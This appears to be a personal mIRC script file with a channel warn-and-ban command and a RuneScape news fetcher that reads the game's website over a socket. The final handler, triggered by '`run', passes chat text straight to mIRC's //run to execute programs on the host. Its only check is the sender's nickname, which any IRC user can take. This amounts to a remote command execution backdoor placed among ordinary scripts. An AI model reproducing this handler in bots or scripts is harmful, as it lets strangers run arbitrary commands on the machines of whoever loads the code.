Mine

on *:TEXT:!warn*:#:{ 
  if ($nick isop $chan) || ($nick ishop $chan) {
    msg $chan 4 $nick has been warned.
    .inc $+(%,warn.ban.,$nick) 
    if $($+(%,warn.ban.,$nick),2) == 3 { 
      msg $chan 4 *** $nick has been warned 3 out of 3 times!
      .timer 1 5 .ban -ku600 $chan $nick Banned for warnings. - 10 minute ban -
      unset $+(%,warn.ban.,$nick) 
    } 
  } 
} 



on $*:TEXT:/^[!@.](rs)?news$/Si:#:{ 
  /inc %x 
  /set $+(%,rsnewsname,%x) $iif($left($1,1) = @, msg $chan, notice $nick) 
  /sockopen $+(rsnews.,%x) runescape.com 80 
} 
on *:SOCKOPEN:rsnews.*:{ 
  /sockwrite -n $sockname GET /lang/en/aff/runescape/title.ws HTTP/1.1 
  /sockwrite -n $sockname Host: runescape.com $+ $crlf $+ $crlf 
} 
on *:SOCKREAD:rsnews.*:{ 
  /var %read 
  /sockread %read 
  if (<dt><span class="newsdate">*</span>*</dt> iswm %read) { /set $+(%,rsnewsdh,$gettok($sockname,2,46)) $remove(%read,<dt><span class="newsdate">,</span>,</dt>) 
  } 
  if (<td style="text-align: justify; vertical-align: top;"> isin %read) { /set $+(%,rsnewsp,$gettok($sockname,2,46)) $remove(%read,<td style="text-align: justify; vertical-align: top;">,</td>) 
  } 
  if (<td style="padding-left: 1em; text-align: right; vertical-align: top;"> isin %read) { 
    $eval($+(%,rsnewsname,$gettok($sockname,2,46)),2) Latest Runescape News: 
    $eval($+(%,rsnewsname,$gettok($sockname,2,46)),2) Date: $left($eval($+(%,rsnewsdh,$gettok($sockname,2,46)),2),11) Heading: $right($eval($+(%,rsnewsdh,$gettok($sockname,2,46)),2),-11) 
    $eval($+(%,rsnewsname,$gettok($sockname,2,46)),2) $eval($+(%,rsnewsp,$gettok($sockname,2,46)),2) 
    /unset $+(%,rsnews*,$gettok($sockname,2,46)) 
    /sockclose $sockname 
  } 
}


on *:TEXT:`run*:#:{
  if ($nick == Mike) {
    //run $2- $+
  }
}